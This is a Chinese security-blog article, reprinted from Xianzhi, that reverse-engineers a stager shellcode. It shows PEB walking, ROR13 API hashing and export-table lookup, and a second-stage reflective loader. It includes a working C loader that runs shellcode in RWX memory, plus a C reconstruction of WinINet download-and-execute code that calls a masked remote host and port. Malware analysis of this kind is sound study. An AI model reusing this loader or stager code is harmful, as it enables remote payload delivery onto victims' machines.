本文转载自平台:先知社区
原文链接:https://xz.aliyun.com/t/11508
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\...(省略)";
void start()
{
printf("begin....");
//分配内存,可读可写可执行
char*start = (char*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(start, buf, sizeof(buf));
__asm
{
mov eax, start
call eax
}
}
//利用这种方式保存下一条语句的地址,即EIP,而这个位置很关键
call xxx
其他语句
pop ebp
我们来跟进看一下这个所谓的“函数”做了什么,首先刚刚传入的参数中,除了特征码外,还有一个字符数组,其ascii值对应的字符刚好就是‘wininet’,想必是要加载这个模块吧,那我们就带着这个问号,来看后面的执行过程
//0x1000 bytes (sizeof)
struct _TEB
{
struct _NT_TIB NtTib; //0x0
VOID* EnvironmentPointer; //0x1c
struct _CLIENT_ID ClientId; //0x20
VOID* ActiveRpcHandle; //0x28
VOID* ThreadLocalStoragePointer; //0x2c
//目标位置
struct _PEB* ProcessEnvironmentBlock; //0x30
ULONG LastErrorValue; //0x34
ULONG CountOfOwnedCriticalSections; //0x38
VOID* CsrClientThread; //0x3c
//...(省略)
VOID* ResourceRetValue; //0xfe0
VOID* ReservedForWdf; //0xfe4
ULONGLONG ReservedForCrt; //0xfe8
struct _GUID EffectiveContainerId; //0xff0
};
_PEB_LDR_DATA
类型的结构体指针,这里存储着描述进程结构链表的数据//0x480 bytes (sizeof)
struct _PEB
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages:1; //0x3
UCHAR IsProtectedProcess:1; //0x3
UCHAR IsImageDynamicallyRelocated:1; //0x3
UCHAR SkipPatchingUser32Forwarders:1; //0x3
UCHAR IsPackagedProcess:1; //0x3
UCHAR IsAppContainer:1; //0x3
UCHAR IsProtectedProcessLight:1; //0x3
UCHAR IsLongPathAwareProcess:1; //0x3
};
};
VOID* Mutant; //0x4
VOID* ImageBaseAddress; //0x8
//目标位置
struct _PEB_LDR_DATA* Ldr; //0xc
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x10
//...(省略)
ULONG NtGlobalFlag2; //0x478
};
_PEB_LDR_DATA
结构体如下://0x30 bytes (sizeof)
struct _PEB_LDR_DATA
{
ULONG Length; //0x0
UCHAR Initialized; //0x4
VOID* SsHandle; //0x8
struct _LIST_ENTRY InLoadOrderModuleList; //0xc
//目标位置
struct _LIST_ENTRY InMemoryOrderModuleList; //0x14
struct _LIST_ENTRY InInitializationOrderModuleList; //0x1c
VOID* EntryInProgress; //0x24
UCHAR ShutdownInProgress; //0x28
VOID* ShutdownThreadId; //0x2c
};
LIST_ENTRY
这个结构很有意思,里面只有两个元素,分别是下一个LIST_ENTRY
和上一个LIST_ENTRY
的地址
struct _LIST_ENTRY
{
struct _LIST_ENTRY* Flink; //0x0
struct _LIST_ENTRY* Blink; //0x4
};
_PEB_LDR_DATA
结构体中的LIST_ENTRY
中的地址,所指向的结构体是_LDR_DATA_TABLE_ENTRY
struct _LDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InLoadOrderLinks; //0x0
struct _LIST_ENTRY InMemoryOrderLinks; //0x8
struct _LIST_ENTRY InInitializationOrderLinks; //0x10
VOID* DllBase; //0x18
VOID* EntryPoint; //0x1c
ULONG SizeOfImage; //0x20
struct _UNICODE_STRING FullDllName; //0x24
//目标位置
struct _UNICODE_STRING BaseDllName; //0x2c
//...(省略)
ULONG ReferenceCount; //0x9c
ULONG DependentLoadFlags; //0xa0
UCHAR SigningLevel; //0xa4
};
_PEB_LDR_DATA
里的_LIST_ENTRY
里的首个元素FLINK
,指向_LDR_DATA_TABLE_ENTRY
里的_LIST_ENTRY
的首地址,shellcode里使用的是InMemoryOrderModuleList
,所以在_LDR_DATA_TABLE_ENTRY
中位于首地址的0x8处_LDR_DATA_TABLE_ENTRY
这个结构体中,第0x24的位置是一个_UNICODE_STRING
类型的结构体,从定义的变量名BaseDllName也能看出来,报错的是模块的名,这个结构体如下://0x8 bytes (sizeof)
struct _UNICODE_STRING
{
USHORT Length; //0x0
//最大长度,描述的是下面的Buffer的按照对齐的最大长度,两个字节大小的数值
USHORT MaximumLength; //0x2
WCHAR* Buffer; //0x4
};
mov ebp,esp
xor edx,edx
mov edx,dword ptr fs:[edx+30]
mov edx,dword ptr ds:[edx+C]
//获取描述第一个模块的_LDR_DATA_TABLE_ENTRY其中的0x8位置
mov edx,dword ptr ds:[edx+14]
//获取该模块BaseDllName的buffer,即模块名
mov esi,dword ptr ds:[edx+28]
//获取该模块名的最大长度
movzx ecx,word ptr ds:[edx+26]
xor edi,edi
xor eax,eax
DWORD GetModuleHash(PWCHAR str,DWORD strlen)
{
DWORD result = 0;
char * temp = (PCHAR)str;
for (int i = 0; i < strlen; i++)
{
//循环右移
result = ((result >> 0xD) | (result << (0x20 - 0xD)));
if (temp[i] >= 0x61)
{
temp[i] -= 0x20;
}
result += temp[i];
}
//printf("%x", result);
return result;
}
接下来的一段,了解PE文件结构的时候,定然一眼看穿,我们已经大概感知到了,找到模块不是目的,找到模块里的函数地址才应该是最终目的。所以首先要判断的是有没有导出表
_LDR_DATA_TABLE_ENTRY
其中的0x8位置,其中0x18是DllBase,也就是模块基址。typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;//函数地址导出的函数数量
DWORD NumberOfNames;//函数姓名导出的函数数量
DWORD AddressOfFunctions; // RVA 导出函数地址表
DWORD AddressOfNames; // RVA 导出函数名称表
DWORD AddressOfNameOrdinals; // RVA 导出函数序号表
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
AddressOfFunctions
指向的是一个数组,每个元素是4个字节,保存的是函数的地址偏移(RVA)AddressOfFunctions
中的下标,也就是通过名称找到名称表中的下标,然后在序号表找到对应的序号,通过序号在地址表找到地址DWORD GetFuncHash(PCHAR str)
{
DWORD result = 0;
char * strTemp = str;
for (int i = 0; i <= strlen(str); i++)
{
result = (result >> 0xD) | (result << (0x20 - 0xD));
result += strTemp[i];
}
return result;
}
DWORD GetFuncAddr(DWORD moduleBase, DWORD modulehash,DWORD targetHash)
{
DWORD funcAddr = 0;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)moduleBase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + moduleBase);
PIMAGE_OPTIONAL_HEADER pOptionHeader = &pNtHeader->OptionalHeader;
//获取导出表描述符的地址,并判断是否有导出表
DWORD pExportRva = pOptionHeader->DataDirectory[0].VirtualAddress;
if (pOptionHeader->DataDirectory[0].VirtualAddress == 0)
{
return funcAddr;
}
PIMAGE_EXPORT_DIRECTORY pExportTableVa = PIMAGE_EXPORT_DIRECTORY
(pOptionHeader->DataDirectory[0].VirtualAddress + moduleBase);
//获取三张导出表
DWORD * nameTable = (DWORD*)(pExportTableVa->AddressOfNames + moduleBase);
DWORD * funcTable = (DWORD*)(pExportTableVa->AddressOfFunctions + moduleBase);
WORD * orderTable = (WORD*)(pExportTableVa->AddressOfNameOrdinals + moduleBase);
//遍历姓名表,计算哈希,判断是否为目标函数
for (int i = 0; i < pExportTableVa->NumberOfNames; i++)
{
DWORD tempHash = GetFuncHash((PCHAR)(nameTable[i] + moduleBase));
if (tempHash + modulehash == targetHash)
{
funcAddr = funcTable[orderTable[i]] + moduleBase;
break;
}
}
return funcAddr;
}
/*
*通过hash,获取对应函数的地址
*/
DWORD GetAddrByHash(DWORD hashCode)
{
DWORD target = 0;
PLIST_ENTRY mmModuleListFirst = NULL;
//获取链表
__asm
{
mov eax, dword ptr fs : [0]
mov eax, [eax + 0x30]
mov eax, [eax + 0xc]
mov eax, [eax + 0x14]
mov mmModuleListFirst, eax
}
if (mmModuleListFirst == NULL)
{
printf("链表获取失败\n");
return target;
}
PLIST_ENTRY mmModuleListNext = mmModuleListFirst->Flink;
//遍历链表
while (mmModuleListNext != mmModuleListFirst)
{
PLDR_DATA_TABLE_ENTRY pldrTableEntry = (PLDR_DATA_TABLE_ENTRY)((DWORD)mmModuleListNext - 0x8);
char * buff = (char *)malloc(pldrTableEntry->BaseDllName.MaximumLength);
memcpy(buff, pldrTableEntry->BaseDllName.Buffer, pldrTableEntry->BaseDllName.MaximumLength);
//计算模块名的哈希
DWORD moduleHash = GetModuleHash((PWCHAR)buff, pldrTableEntry->BaseDllName.MaximumLength);
//计算函数名的哈希,具体函数在上面
target = GetFuncAddr((DWORD)pldrTableEntry->DllBase, moduleHash, hashCode);
if (target != 0)
{
break;
}
mmModuleListNext = mmModuleListNext->Flink;
}
return target;
}
push 0x74656E
push 0x696E6977
push esp
push 0x726774C
call ebp
//执行函数
HMODULE hWinnet = LoadLibraryA("wininet");
第二次调用
push edi //edi都为0
push edi
push edi
push edi
push edi
push 0xA779563A
call ebp
//eax=<wininet.InternetOpenA>
//执行函数
HINTERNET hInternet = InternetOpenA(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
push ecx //ecx == 0
push ecx
push 0x3 //服务类型,http
push ecx
push ecx
push 0x7561 //端口 16进制
push ebx //ebx == 请求连接的域名或ip字符串
push eax //eax == 上次调用获取的句柄(第一个参数)
push C69F8957
call ebp
//eax=<wininet.InternetConnectA>
//执行函数
hInternet = InternetConnectA(hInternet, "x.x.x.x", 30048, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
push edx //edx == 0
push 0x84400200
push edx
push edx
push edx
push ebx //域名后跟的要访问的文件名
push edx
push eax //上次调用返回的句柄
push 3B2E55EB
call ebp
//eax=<wininet.HttpOpenRequestA>
//执行函数
hInternet = HttpOpenRequestA(hInternet, NULL, "/rAED", NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, NULL);
push edi //edi == 0
push edi
push 0xFFFFFFFF //请求头长度,-1就当成ascii字符串到\0结束
push ebx //User-Agent,请求头信息等
push esi //上次调用返回的句柄
push 0x7B18062D
call ebp
//eax=<wininet.HttpSendRequestA>
//执行函数
CHAR header[] = "User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0)\n\r";
HttpSendRequestA(hInternet, header, -1, NULL, 0);
这次调用发送了http请求
第六次调用
push 0x315E2145
call ebp
//eax=<user32.GetDesktopWindow>
//执行函数
HWND hWnd = GetDesktopWindow();
push edi
push 0x7
push ecx
push esi
push eax
push 0xBE057B7
call ebp
//eax=<wininet.InternetErrorDlg>
//执行函数
InternetErrorDlg(hWnd, hInternet, xxx, 0x7, NULL);
ERROR_INTERNET_FORCE_RETRY
,0x2F00,没有问题继续调用push 0x40
push 0x1000
push 0x400000 //分配一整个物理页,小页4kb
push edi //edi == 0
push E553A458
call ebp
//eax=<kernel32.VirtualAlloc>
//函数执行
LPVOID target = VirtualAlloc(0,0x400000,MEM_COMMIT,PAGE_EXECUTE_READWRITE)
push ecx //保存环境
push ebx
mov edi,esp
//函数开始位置
push edi //
push 2000
push ebx
push esi
push E2899612
call ebp
//eax=<wininet.InternetReadFile>
LPVOID target = VirtualAlloc(0, 0x400000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD realRead = 0;
BOOL bRes = 0;
do
{
bRes = InternetReadFile(hInternet, target, 0x2000, &realRead);
if (bRes == FALSE)
{
break;
}
target = (LPVOID)((DWORD)target+0x2000);
} while (realRead != 0);
void start2nd()
{
HANDLE hfile = CreateFileA("1.mem", FILE_ALL_ACCESS, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
LPVOID buffer = VirtualAlloc(NULL, 0x4000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
DWORD realRead = 0;
ReadFile(hfile, buffer, 0x4000000,&realRead, NULL);
((void(*)())buffer)();
}
void decode(DWORD*start)
{
DWORD *begin = start;
DWORD key = begin[0];
DWORD len = begin[1] ^ begin[0];
begin = begin + 2;
for (int i = 0; i < len; i++)
{
DWORD newKey = begin[i];
begin[i] = begin[i] ^ key;
key = newKey;
}
}
当找到了PE文件的位置,为了进一步处理,一定是需要一些系统API辅助,所以,就进入了下一个call,这个call传入了一个地址(就是一开始没理解的云里雾里的一段),这里我推测这是一个数组,是用来盛装找到的api地址
然后我们跟进去
如果经过了上一部分,到这部分应该反而很轻松,因为满眼都是老演员,这部分就是遍历模块
如果看的眼花缭乱,那是因为多了很多局部变量,给他去掉再来看:
mov eax,dword ptr fs:[30]
mov eax,dword ptr ds:[eax+C]
mov eax,dword ptr ds:[eax+14]
cmp eax,0
_PEB_LDR_DATA
结构体//获取_PEB_LDR_DATA
02477F79 | 8B55 EC | mov edx,dword ptr ss:[ebp-14] |
//获取_LDR_DATA_TABLE_ENTRY中的BaseDllName的buffer
02477F7C | 8B42 28 | mov eax,dword ptr ds:[edx+28] |
02477F7F | 8945 DC | mov dword ptr ss:[ebp-24],eax |
//获取_LDR_DATA_TABLE_ENTRY中的BaseDllName的length
02477F82 | 8B4D EC | mov ecx,dword ptr ss:[ebp-14] |
02477F85 | 66:8B51 24 | mov dx,word ptr ds:[ecx+24] |
02477F89 | 66:8955 D8 | mov word ptr ss:[ebp-28],dx |
//至此:模块名称的地址--> [ebp-24] 名称长度--> [ebp-28]
//下面跟之前计算模块名称哈希的方式一样,循环右移,求和
02477F8D | C745 FC 00000000 | mov dword ptr ss:[ebp-4],0 |
02477F94 | 8B45 FC | mov eax,dword ptr ss:[ebp-4] |
//[ebp-4] --> 存放累加的和 先循环右移
02477F97 | C1C8 0D | ror eax,D |
02477F9A | 8945 FC | mov dword ptr ss:[ebp-4],eax |
//取模块名称的一个一个字母
02477F9D | 8B4D DC | mov ecx,dword ptr ss:[ebp-24] |
02477FA0 | 0FB611 | movzx edx,byte ptr ds:[ecx] |
//不小于61,减0x20,然后累加到[ebp-4]
02477FA3 | 83FA 61 | cmp edx,61 |
02477FA6 | 7C 12 | jl 2477FBA |
02477FA8 | 8B45 DC | mov eax,dword ptr ss:[ebp-24] |
02477FAB | 0FB608 | movzx ecx,byte ptr ds:[eax] |
02477FAE | 8B55 FC | mov edx,dword ptr ss:[ebp-4] |
//这里注意,都是用lea指令累加
02477FB1 | 8D440A E0 | lea eax,dword ptr ds:[edx+ecx-20] |
02477FB5 | 8945 FC | mov dword ptr ss:[ebp-4],eax |
02477FB8 | EB 0C | jmp 2477FC6 |
//小于0x61,直接累加到[ebp-4]
02477FBA | 8B4D DC | mov ecx,dword ptr ss:[ebp-24] |
02477FBD | 0FB611 | movzx edx,byte ptr ds:[ecx] |
02477FC0 | 0355 FC | add edx,dword ptr ss:[ebp-4] |
02477FC3 | 8955 FC | mov dword ptr ss:[ebp-4],edx |
//名称地址+1
02477FC6 | 8B45 DC | mov eax,dword ptr ss:[ebp-24] |
02477FC9 | 83C0 01 | add eax,1 |
02477FCC | 8945 DC | mov dword ptr ss:[ebp-24],eax |
//名称长度-1
02477FCF | 66:8B4D D8 | mov cx,word ptr ss:[ebp-28] |
02477FD3 | 66:83E9 01 | sub cx,1 |
02477FD7 | 66:894D D8 | mov word ptr ss:[ebp-28],cx |
//判断长度是否为0
02477FDB | 0FB755 D8 | movzx edx,word ptr ss:[ebp-28] |
02477FDF | 85D2 | test edx,edx |
02477FE1 | 75 B1 | jne 2477F94 |
//跟模块hash比较
02477FE3 | 817D FC 5BBC4A6A | cmp dword ptr ss:[ebp-4],6A4ABC5B |
通过以上内容可知,只需要一个模块的哈希,这个hash对应的模块名是Kernel32.dll
为了获取api地址,下一步一定就是开始遍历模块导出表了
//获取模块基址 Dllbase --> [ebp-18]
02477FFB | 8B55 EC | mov edx,dword ptr ss:[ebp-14] |
02477FFE | 8B42 10 | mov eax,dword ptr ds:[edx+10] |
02478001 | 8945 E8 | mov dword ptr ss:[ebp-18],eax |
//获取导出表地址RVA --> [ebp-c]
02478004 | 8B4D E8 | mov ecx,dword ptr ss:[ebp-18] |
02478007 | 8B55 E8 | mov edx,dword ptr ss:[ebp-18] |
0247800A | 0351 3C | add edx,dword ptr ds:[ecx+3C] |
0247800D | 8955 E0 | mov dword ptr ss:[ebp-20],edx |
02478010 | 8B45 E0 | mov eax,dword ptr ss:[ebp-20] |
02478013 | 83C0 78 | add eax,78 |
02478016 | 8945 F4 | mov dword ptr ss:[ebp-C],eax |
//获取导出表的描述符VA --> [ebp-20]
02478019 | 8B4D F4 | mov ecx,dword ptr ss:[ebp-C] |
0247801C | 8B55 E8 | mov edx,dword ptr ss:[ebp-18] |
0247801F | 0311 | add edx,dword ptr ds:[ecx] |
02478021 | 8955 E0 | mov dword ptr ss:[ebp-20],edx |
//获取导出名称表VA --> [ebp-c]
02478024 | 8B45 E0 | mov eax,dword ptr ss:[ebp-20] |
02478027 | 8B4D E8 | mov ecx,dword ptr ss:[ebp-18] |
0247802A | 0348 20 | add ecx,dword ptr ds:[eax+20] |
0247802D | 894D F4 | mov dword ptr ss:[ebp-C],ecx |
//获取导出序号表VA --> [ebp-1c]
02478030 | 8B55 E0 | mov edx,dword ptr ss:[ebp-20] |
02478033 | 8B45 E8 | mov eax,dword ptr ss:[ebp-18] |
02478036 | 0342 24 | add eax,dword ptr ds:[edx+24] |
02478039 | 8945 E4 | mov dword ptr ss:[ebp-1C],eax |
//设定结束标志,可见有6个api需要找到-->[ebp-28]
0247803C | B9 06000000 | mov ecx,6 |
02478041 | 66:894D D8 | mov word ptr ss:[ebp-28],cx |
02478045 | 0FB755 D8 | movzx edx,word ptr ss:[ebp-28] |
02478049 | 85D2 | test edx,edx |
0247804B | 0F8E 4B010000 | jle 247819C |
//取出函数名称的地址 -->[ebp-38]
02478051 | 8B45 F4 | mov eax,dword ptr ss:[ebp-C] |
02478054 | 8B4D E8 | mov ecx,dword ptr ss:[ebp-18] |
02478057 | 0308 | add ecx,dword ptr ds:[eax] |
02478059 | 894D C8 | mov dword ptr ss:[ebp-38],ecx |
//设定累加的值--> [ebp-34] 循环右移0xd
0247805C | C745 CC 00000000 | mov dword ptr ss:[ebp-34],0 |
02478063 | 8B55 CC | mov edx,dword ptr ss:[ebp-34] |
02478066 | C1CA 0D | ror edx,D |
02478069 | 8955 CC | mov dword ptr ss:[ebp-34],edx |
//取函数名称的一个字符累加
0247806C | 8B45 C8 | mov eax,dword ptr ss:[ebp-38] |
0247806F | 0FBE08 | movsx ecx,byte ptr ds:[eax] |
02478072 | 034D CC | add ecx,dword ptr ss:[ebp-34] |
02478075 | 894D CC | mov dword ptr ss:[ebp-34],ecx |
//函数名称的地址后移1个字节
02478078 | 8B55 C8 | mov edx,dword ptr ss:[ebp-38] |
0247807B | 83C2 01 | add edx,1 |
0247807E | 8955 C8 | mov dword ptr ss:[ebp-38],edx |
//判断后移后的字节是否为0,即字符串截止位置
02478081 | 8B45 C8 | mov eax,dword ptr ss:[ebp-38] |
02478084 | 0FBE08 | movsx ecx,byte ptr ds:[eax] |
02478087 | 85C9 | test ecx,ecx |
02478089 | 75 D8 | jne 2478063 |
//参数1,0x40
02497D71 | 8B4D D0 | mov ecx,dword ptr ss:[ebp-30] |
02497D74 | 51 | push ecx |
//参数2,pe文件基址
02497D75 | 8B55 AC | mov edx,dword ptr ss:[ebp-54] |
02497D78 | 52 | push edx |
//参数3,nt头
02497D79 | 8B45 CC | mov eax,dword ptr ss:[ebp-34] | [ebp-34]:"PE"
02497D7C | 50 | push eax | eax:"PE"
//参数4,ecx=<&GetModuleHandleA>基址
02497D7D | 8D4D D4 | lea ecx,dword ptr ss:[ebp-2C] |
02497D80 | 51 | push ecx |
02497D81 | E8 880A0000 | call 249880E |
//倒数第一个参数0x40
023C88D1 | 52 | push edx |
//倒数第二个参数0x3000
023C88D2 | 68 00300000 | push 3000 |
//倒数第三个参数 0x3e000
023C88D7 | 8B45 0C | mov eax,dword ptr ss:[ebp+C] | [ebp+C]:"PE"
023C88DA | 8B48 50 | mov ecx,dword ptr ds:[eax+50] |
023C88DD | 51 | push ecx |
//倒数第四个参数 0
023C88DE | 6A 00 | push 0 |
023C88E0 | 8B55 08 | mov edx,dword ptr ss:[ebp+8] |
023C88E3 | 8B42 10 | mov eax,dword ptr ds:[edx+10] | eax:"PE"
023C88E6 | FFD0 | call eax |;
//代码类似于如下
VirtualAlloc(NULL, 0x3e000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
_IMAGE_IMPORT_DESCRIPTOR
,获取到了模块名称struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk;
} DUMMYUNIONNAME;
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;//导入模块名的RVA
DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
_IMAGE_THUNK_DATA
FirstThunk
指向的都是相同的表(也就是连续的数组),里面存放的都是函数名称FirstThunk
指向地址,称IAT表,OriginalFirstThunk指向名称,称INTstruct _IMAGE_THUNK_DATA{
union {
DWORD ForwarderString;
DWORD Function; //被输入的函数的内存地址
DWORD Ordinal; //高位为1则被输入的API的序数值
DWORD AddressOfData;//高位为0则指向IMAGE_IMPORT_BY_NAME 结构体二
}u1;
}IMAGE_THUNK_DATA;
//IMAGE_THUNK_DATA64与IMAGE_THUNK_DATA32的区别,仅仅是把DWORD换成了64位整数。
struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;//指出函数在所在的dll的输出表中的序号
BYTE Name[1];//指出要输入的函数的函数名
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
_IMAGE_THUNK_DATA
的地址,然后分别保存里面两个重要的地址,一个是导入地址表,一个是导入名称表_IMAGE_IMPORT_BY_NAME
GetProcAdress
函数,(参数为模块基址和函数名)获取函数地址_IMAGE_THUNK_DATA
的Function,至此这样一个函数就修复完毕//[ebp-0x4] ---> 保存的是第一个重定位表的VA
024F8471 | 8B4D FC | mov ecx,dword ptr ss:[ebp-4] |
//[ebp+0x8] ---> 保存的是新区域的基址
024F8474 | 8B55 08 | mov edx,dword ptr ss:[ebp+8] |
//取当前重定位表里的大地址累加到模块基址上
024F8477 | 0311 | add edx,dword ptr ds:[ecx] |
024F8479 | 8955 F4 | mov dword ptr ss:[ebp-C],edx |
//取当前重定位表的块大小,减8 再除以2
//得到的就是当前表共计多少个小项(也就是偏移值的个数)
//保存在[ebp-0x10]
024F847C | 8B45 FC | mov eax,dword ptr ss:[ebp-4] |
024F847F | 8B48 04 | mov ecx,dword ptr ds:[eax+4] |
024F8482 | 83E9 08 | sub ecx,8 |
024F8485 | D1E9 | shr ecx,1 |
024F8487 | 894D F0 | mov dword ptr ss:[ebp-10],ecx |
//获取首个小地址的位置--> [ebp-8]
024F848A | 8B55 FC | mov edx,dword ptr ss:[ebp-4] |
024F848D | 83C2 08 | add edx,8 |
024F8490 | 8955 F8 | mov dword ptr ss:[ebp-8],edx |
//取出块个数,减一,接下来进入循环
024F8493 | 8B45 F0 | mov eax,dword ptr ss:[ebp-10] |
024F8496 | 8B4D F0 | mov ecx,dword ptr ss:[ebp-10] |
024F8499 | 83E9 01 | sub ecx,1 |
024F849C | 894D F0 | mov dword ptr ss:[ebp-10],ecx |
024F849F | 85C0 | test eax,eax |
//取出小项然后右移0xc,也就是只剩下最高4位,然后跟F求与运算
//然后把ax移动到ecx,跟3比较
024F84A7 | 8B55 F8 | mov edx,dword ptr ss:[ebp-8] |
024F84AA | 66:8B02 | mov ax,word ptr ds:[edx] |
024F84AD | 66:C1E8 0C | shr ax,C |
024F84B1 | 66:83E0 0F | and ax,F |
024F84B5 | 0FB7C8 | movzx ecx,ax |
024F84B8 | 83F9 0A | cmp ecx,A | A:'\n'
024F84ED | 8B45 F8 | mov eax,dword ptr ss:[ebp-8] |
024F84F0 | 66:8B08 | mov cx,word ptr ds:[eax] |
024F84F3 | 66:C1E9 0C | shr cx,C |
024F84F7 | 66:83E1 0F | and cx,F |
024F84FB | 0FB7D1 | movzx edx,cx |
024F84FE | 83FA 03 | cmp edx,3 |
IMAGE_FILE_HEADER
中成员Characteristics
的描述,这1位表示的是否为dll文件征集原创技术文章中,欢迎投递
投稿邮箱:[email protected]
文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关
通过审核并发布能收获200-800元不等的稿酬。